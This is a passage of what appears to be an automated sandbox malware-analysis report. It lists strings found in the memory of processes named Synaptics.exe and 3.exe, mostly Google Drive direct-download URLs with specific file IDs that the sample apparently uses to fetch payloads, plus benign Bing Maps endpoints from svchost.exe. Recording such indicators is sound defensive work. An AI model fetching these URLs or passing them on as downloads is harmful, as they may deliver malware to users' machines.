Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn-
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn-cn.
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn-cn.1
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn5
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadna
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadna-
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.000000000743A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncis
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.000000000743A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne.cn
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadntentL
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado(
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadob
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogles
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoject
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadonKm
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadony
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogl=
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador89
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadot
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadot;M
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpcdnzu
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpiQ
Source: Synaptics.exe, 0000000C.00000002.1884531817.0000000007400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadprepo
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadptcha
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq%
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq-
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq5
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrce.
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadro
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrt
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads-cn.net
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads.cn
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadseL8
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadserco
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadshR
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1456948763.0000000005B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt/
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtU
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtap8Q
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtent.
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduo
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvt
Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw.
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwu
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F955000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1859525109.00000000058DE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxof
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.0000000000574000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady(
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyjH
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadynapt
Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz.
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadza
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: 3.exe, 00000000.00000003.1315804134.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: 3.exe, 00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1846828053.0000000002130000.00000004.00001000.00020000.00000000.sdmp, 380BjggdZ.exe.17.dr, ~$cache1.12.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 0000000C.00000002.1824235333.0000000000586000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005ADD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.000000000052C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1456948763.0000000005ADE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F911000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#:
Source: Synaptics.exe, 0000000C.00000002.1824235333.0000000000586000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 0000000C.00000003.1519925771.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 0000000C.00000003.1519925771.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 0000000C.00000003.1519925771.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX:B
Source: Synaptics.exe, 0000000C.00000002.1824235333.0000000000586000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh;
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq:
Source: Synaptics.exe, 0000000C.00000003.1519925771.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.0000000000586000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: svchost.exe, 00000002.00000003.1383407721.00000220A3833000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397839653.00000220A3855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1385661219.00000220A3851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398117333.00000220A3863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000002.00000003.1390378731.00000220A3862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1398117333.00000220A3863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000002.00000003.1390757686.00000220A3871000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000002.00000002.1397917213.00000220A3857000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000002.00000003.1383407721.00000220A3833000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000002.00000002.1398265724.00000220A3868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1389833011.00000220A3867000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1397554660.00000220A3825000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000002.00000002.1397772793.00000220A3841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
